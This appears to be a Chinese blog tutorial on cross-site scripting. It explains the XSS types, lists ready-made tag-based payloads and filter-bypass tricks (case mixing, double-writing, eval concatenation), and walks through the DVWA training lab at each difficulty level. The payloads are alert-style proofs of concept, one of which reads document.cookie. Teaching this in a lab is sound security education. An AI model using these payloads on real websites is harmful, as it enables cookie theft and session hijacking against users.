XSS(内含DVWA)
目录
一.XSS的攻击方式:
1. 反射型 XSS(Reflected XSS)
2. 存储型 XSS(Stored XSS)
3. DOM型 XSS(DOM-based XSS)
总结
二..XSS的危害
三.常见的XSS方式
1.script标签
四.常见基本过滤方法
1.空格过滤
2.引号过滤
3.括号过滤
4.关键字过滤
5.字符串拼接绕过
五.DVWA
1.DOM(LOW)
2.DOM(medium)
3.DOM(High)
4.Reflected(low)
5.Reflected(Medium)
1)我们先尝试用大写绕过
编辑2)双写绕过
编辑 3)标签img爆出
4)标签input爆出
5)标签detail
6)svg标签嵌入
7)select标签嵌入
8)iframe标签
9)video标签爆出
10)audio标签爆出
11)body标签
6.Reflected(High)
7.Stored(low)
8.Stored(Medium)
9.Stored(High)
一.XSS的攻击方式:
1. 反射型 XSS(Reflected XSS)
-
定义:反射型 XSS 攻击发生在用户请求特定 URL 时,恶意脚本作为请求的一部分被服务器反射回用户的浏览器中。简单来说,攻击者在特定的请求中注入恶意代码,然后当用户点击这个链接时,网页会将这个代码反射回并执行。
-
特点:
- 不会存储在服务器上,而是立即反射给用户。
- 通常依赖于用户点击特殊构造的链接。
- 攻击通常是一次性的,用户需要点击链接以触发攻击。
-
示例:例如,一个搜索功能的查询字符串中包含恶意 JavaScript 代码:
http://example.com/search?q=<script>alert('XSS')</script>如果网站未对参数 ‘q’ 进行适当的编码或过滤,则页面可能立即执行这个脚本。
2. 存储型 XSS(Stored XSS)
-
定义:存储型 XSS 攻击是指恶意脚本被存储在服务器的数据库或其他存储介质中,随后被传送到用户的浏览器中进行执行。攻击者将恶意代码注入到网站中,保存后,当用户访问含有该代码的页面时,就会触发执行。
-
特点:
- 恶意代码存储在服务器上,可以反复利用,攻击的风险更高。
- 非常危险,可能影响所有访问该页面的用户。
-
示例:例如,一个社交网络允许用户发布评论,如果用户在评论中插入了恶意脚本:
<script>alert('Stored XSS');</script>这个脚本会被存储到数据库中,当任何用户查看该评论时,该脚本就会被执行。
3. DOM型 XSS(DOM-based XSS)
-
定义:DOM型 XSS 是一种客户端攻击,它是通过操作 Document Object Model (DOM) 来实施的。攻击者注入的恶意代码直接在浏览器中执行,而不是通过服务器端的响应。这种类型的攻击常常依赖于脚本如何操作页面的 URL 或其他 DOM 元素。
-
特点:
- 完全在客户端进行,通常不需要与服务器交互。
- 利用 JavaScript 提供的操作 DOM 的能力,如
document.location,document.cookie等。 - 可能会在不需要用户点击链接的情况下自动触发。
-
示例:一个 JavaScript 脚本错误地使用
location.hash来获取 URL 中的锚点:
const userInput = location.hash.substring(1); // 获取URL中的锚点内容
document.write(userInput); // 直接将其写入页面
如果攻击者访问:
http://example.com/#<script>alert('DOM-based XSS')</script>
页面会直接执行用户恶意注入的代码。
总结
- 反射型 XSS:即时反射,依赖用户点击链接,通常是一次性的。
- 存储型 XSS:恶意代码存储在服务器上,多次执行,影响广泛。
- DOM型 XSS:常在客户端,通过操控 DOM 元素来执行,无需与服务器交互。
二..XSS的危害
- 挂马
- 盗取用户Cookie
- DOS(拒绝服务)客户端浏览器
- 钓鱼攻击,高级的钓鱼技巧
- 删除目标文章、恶意篡改数据、嫁祸
- 劫持用户Web行为,甚至进一步渗透内网
- 爆发Web2.0蠕虫
- 蠕虫式的DDoS攻击
- 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
- 伪造用户身份进行欺诈活动
- 在用户浏览器中执行任意代码
- 影响用户的社交媒体账户,发送垃圾信息
- 传播恶意链接或推荐广告
- 重定向用户到恶意网站
- 凭证缓存劫持,造成持久性攻击
- 进行细粒度的监控,记录用户活动
- 在用户不知情的情况下进行大规模注册或留言
- 通过篡改内容传播虚假信息或谣言
- 利用受害者的计算资源进行挖矿攻击
- 影响用户的主机安全,打开后门
三.常见的XSS方式
1.script标签
<script>alert(1)</script>
<script>alert("xss")</script>
<script>alert(document.cookie)</script>
2.img标签
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
<img src=1 onerror=alert(document.cookie);>
3.input标签
<input onfocus=alert(1);><input onblur=alert(1) autofocus><input autofocus><input onfocus="alert(1);" autofocus><input onfocus="alert(1);" οnclick=alert(1)> 这样需要点击一下输入框<br>
<input onfocus="alert(1);" onmouseover=alert(1)> 需要鼠标划过输入框<br>
4.details标签
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发<details ontoggle=alert(1);><details open ontoggle=alert(1);>使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
5.svg标签
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。<svg onload=alert(1);>
6.select标签
<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select>通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
7.iframe标签
<iframe> 标签会创建包含另外一个文档的内联框架。<iframe onload=alert(1);></iframe>
8.video标签
<video> 标签定义视频,比如电影片段或其他视频流。<video><source onerror=alert(1)>
9.audio标签
<audio> 标签定义声音,比如音乐或其他音频流。<audio src=x onerror=alert(1);>
10.body标签
<body> 标签定义文档的主体。<body onload=alert(1);>
四.常见基本过滤方法
1.空格过滤
当空格被过滤了时,我们可以用 / 来代替空格:/**/,注释符号绕过;/符号绕过;<img/src="x"/onerror=alert(1);>
2.引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src=x onerror=alert(`xss);>
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
4.关键字过滤
大小写绕过<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过<sc<script>ript>alert('xss')</script>
<imimgg srsrcc=x onerror=alert(1);>
5.字符串拼接绕过
利用eval()函数与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)"><img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
五.DVWA
1.DOM(LOW)
源码:
我们发现并没有做任何过滤,那我们构造句最简单的XSS语句,看到出现弹窗,代码执行成功,说明存在XSS漏洞
<script>alert("xss")</script>

并且我们查看网页的代码发现刚刚输入的XSS代码已经插入并执行了

2.DOM(medium)
源码:
我们查看源码页面发现对“<script”进行了过滤,注入时会默认跳转到English页面。
既然不能使用script标签,那我们使用img进行尝试,发现奇怪还是没有弹窗。
<img src=1 onerror=alert("xss")>

但我们查看页面代码,发现我们构造的语句已经被插入了,不能成功执行弹窗的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用使用img标签。
</select></option><img src=1 onerror=alert("xss")>

我们将闭合后的语句执行后发现页面出现弹窗,说明存在xss漏洞。

3.DOM(High)
源码:
我们查看源代码,可以直接看出此处使用过滤方法是白名单过滤,只允许default传的值为French English German Spanish其中一个。这时候我们只能通过绕过服务器端的处理,只在服务器本端进行运行,考虑用#过滤,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示,可以直接与浏览器进行交互。
#</select></option><img%20src=1%20onerror=alert("xss")>

4.Reflected(low)
源码:
我们发现并没有做任何过滤,那我们构造句最简单的XSS语句,看到出现弹窗,代码执行成功,说明存在XSS漏洞
<script>alert("xss")</script>

并且我们查看网页的代码发现刚刚输入的XSS代码已经插入并执行了

5.Reflected(Medium)
源码:
我们发现源码过滤了<script>我们尝试通过大写字母或双写,输入其他可执行弹窗的标签等方法来实现攻击.如果我们直接输入<script>alert('xss')</script>,发现页面直接显示alert('xss'),说明的确是直接过滤了<script>只传给服务器alert('xss')
1)我们先尝试用大写绕过
<Script>alert('xss')</Script>
2)双写绕过
<sc<script>ript>alert('xss')</script>
3)标签img爆出
<img src=1 onerror=alert('xss');>

4)标签input爆出
<input onfocus=alert('xss');>

5)标签detail
<details ontoggle=alert(‘xss');>

6)svg标签嵌入
<svg onload=alert('xss');>

7)select标签嵌入
<select onfocus=alert('xss')></select>

8)iframe标签
<iframe onload=alert(1);></iframe>

9)video标签爆出
<video><source onerror=alert(‘xss')>

10)audio标签爆出
<audio src=x onerror=alert('xss');>

11)body标签
<body onload=alert(1);>

6.Reflected(High)
源码

查看源代码,发现preg_replace 函数,是执行一个正则表达式的搜索和替换,直接将所有的<script>无论大小写都进行了过滤,但并未对其他标签进行限制,所以我们继续使用img,input,detail等标签来进xss利用。(这边以body标签为例)
<body onload=alert('xss');>

7.Stored(low)
源码:

查看源代码,发现使用mysqli_real_escape_string函数来对string中的特殊符号进行转义处理,但并未对我们输入的Name和Message进行xss的过滤。因此我们只需要直接输入JS代码进行攻击即可得到弹窗,攻击成功。
<script>alert("xss")</script><script>alert("1")</script>


8.Stored(Medium)
与Reflected相同,即用大写或双写都能直接绕过
9.Stored(High)
与Reflected相同,即用其他标签都能直接绕过
相关文章:
XSS(内含DVWA)
目录 一.XSS的攻击方式: 1. 反射型 XSS(Reflected XSS) 2. 存储型 XSS(Stored XSS) 3. DOM型 XSS(DOM-based XSS) 总结 二..XSS的危害 三.常见的XSS方式 1.script标签 四.常见基本过滤方…...
【SpringCloud】环境和工程搭建
环境和工程搭建 1. 案例介绍1.1 需求1.2 服务拆分服务拆分原则服务拆分⽰例 2. 项目搭建 1. 案例介绍 1.1 需求 实现⼀个电商平台(不真实实现, 仅为演⽰) ⼀个电商平台包含的内容⾮常多, 以京东为例, 仅从⾸⻚上就可以看到巨多的功能 我们该如何实现呢? 如果把这些功能全部…...
基于Java开发的(控制台)模拟的多用户多级目录的文件系统
多级文件系统 1 设计目的 为了加深对文件系统内部功能和实现过程的理解,设计一个模拟的多用户多级目录的文件系统,并实现具体的文件物理结构、目录结构以及较为完善的文件操作命令集。 2 设计内容 2.1系统操作 操作命令风格:本文件系统的…...
tailwindcss group-hover 不生效
无效 <li class"group"><div class"tw-opacity-0 group-hover:tw-opacity-100" /> </li>配了tw前缀,group要改成tw-group // tailwind.config.jsmodule.exports {prefix: "tw-", }<li class"tw-group&q…...
python环境配置问题(个人经验)
很久没配置 python 新环境了,最近新项目需要进行配置,在配置过程中发现了不少问题,记录下。 问题1:fatal error: longintrepr.h: 没有那个文件或目录 这个问题的原因是新环境的 python 版本(3.10以上)与本地的版本(3.8.x)差异过…...
BERT训练之数据集处理(代码实现)
目录 1读取文件数据 2.生成下一句预测任务的数据 3.预测下一个句子 4.生成遮蔽语言模型任务的数据 5.从词元中得到遮掩的数据 6.将文本转化为预训练数据集 7.封装函数类 8.调用 import os import random import torch import dltools 1读取文件数据 def _read_wiki(data_d…...
一款辅助渗透测试过程,让渗透测试报告一键生成
《网安面试指南》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484339&idx1&sn356300f169de74e7a778b04bfbbbd0ab&chksmc0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene21#wechat_redirect 《Java代码审…...
力扣最热一百题——颜色分类
目录 题目链接:75. 颜色分类 - 力扣(LeetCode) 题目描述 示例 提示: 解法一:不要脸用sort Java写法: 运行时间 解法二:O1指针 Java写法: 重点 运行时间 C写法:…...
2024年工业制造企业CRM研究报告:需求清单、市场格局、案例分析
我国是世界上产业体系最完备的国家,拥有全球规模最大、门类最齐全的生产制造体系,在500种主要工业产品中,有四成以上产品产量位居全球第一。2023年制造业增加值达33万亿元,占世界的比重稳定在30%左右,我国制造业增加值…...
Spring MVC参数接收 总结
1. 简介 Spring MVC可以简化从前端接收参数的步骤。 2. Param传参 通过设定函数入参和添加标记来简化接受: //参数接收 RequestMapping("product") ResponseBody //接受/product?productgoods&id123 //1.名称必须相同,2.不传值不会不…...
Docekrfile和docker compose编写指南及注意事项
Dockerfile 基础语法 我们通过编写dockerfile,将每一层要做的事情使用语法固定下来,之后运行指令就可以通过docker来制作自己的镜像了。 构建镜像的指令:docker build /path -t imageName:tag 注意,docker build后的path必须是dockerfile…...
VITS源码解读6-训练推理
1. train.py 1.1 大体流程 执行main函数,调用多线程和run函数执行run函数,加载日志、数据集、模型、模型优化器for循环迭代数据batch,每次执行train_and_evaluate函数,训练模型 这里需要注意,源码中加载数据集用的分…...
力扣 简单 104.二叉树的最大深度
文章目录 题目介绍解法 题目介绍 解法 如果知道了左子树和右子树的最大深度 l 和 r,那么该二叉树的最大深度即为max(l,r)1,而左子树和右子树的最大深度又可以以同样的方式进行计算。因此我们可以用递归的方法来计算二叉树的最大深度。具体而言ÿ…...
单片机长短按简单实现
单片机长短按简单实现 目录 单片机长短按简单实现1 原理2 示例代码2.1 按键实现 3 测试log4 其他实现方式 1 原理 按键检测和处理的步骤如下: 1:定时扫描按键(使用定时器定时扫描,也可以用软件延时或者系统心跳之类的方式&#…...
如何用好通义灵码企业知识库问答能力?
通义灵码企业版:通义灵码企业标准版快速入门_智能编码助手_AI编程_智能编码助手通义灵码(Lingma)-阿里云帮助中心 通义灵码提供了基于企业知识库的问答检索增强的能力,在开发者使用通义灵码 IDE 插件时,可以结合企业知识库内上传的文档、文件…...
C语言自定义类型:联合体
目录 前言一、联合体1.1 联合体类型的声明1.2 联合体的特点1.3 相同成员的结构体和联合体对比1.4 联合体大小的计算1.5 联合体的⼀个练习 总结 前言 前面我讲到C语言中的自定义结构——结构体,其实C语言中的自定义结构不只有结构体,还有枚举和联合体&am…...
【JavaEE】——线程池大总结
阿华代码,不是逆风,就是我疯, 你们的点赞收藏是我前进最大的动力!!希望本文内容能够帮助到你! 目录 引入:问题引入 一:解决方案 1:方案一——协程/纤程 (1…...
编程中为什么使用0和1表示状态
前言 这是我在这个网站整理的笔记,有错误的地方请指出,关注我,接下来还会持续更新。 作者:神的孩子都在歌唱 我们看到很多项目都使用0和1表示某些状态信息,具体含义取决于上下文。以下是一些常见的用法: 布尔值&#x…...
C++入门基础知识90(实例)——实例15【求两数的最大公约数】
成长路上不孤单😊😊😊😊😊😊 【14后😊///C爱好者😊///持续分享所学😊///如有需要欢迎收藏转发///😊】 今日分享关于求两数的最大公约数的相关内容ÿ…...
自动化办公-Python-os模块的使用
os.path 模块的使用 在指定文件路径时,由于操作系统的差异,直接使用硬编码的路径可能会导致程序在不同平台上无法正常运行。为了解决这个问题,Python 提供了 os.path 模块,它包含了一系列用于路径操作的函数,可以帮助您…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
【杂谈】-递归进化:人工智能的自我改进与监管挑战
递归进化:人工智能的自我改进与监管挑战 文章目录 递归进化:人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管?3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序
一、开发环境准备 工具安装: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 项目初始化: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...
MySQL 8.0 OCP 英文题库解析(十三)
Oracle 为庆祝 MySQL 30 周年,截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始,将英文题库免费公布出来,并进行解析,帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...
Linux系统部署KES
1、安装准备 1.版本说明V008R006C009B0014 V008:是version产品的大版本。 R006:是release产品特性版本。 C009:是通用版 B0014:是build开发过程中的构建版本2.硬件要求 #安全版和企业版 内存:1GB 以上 硬盘…...
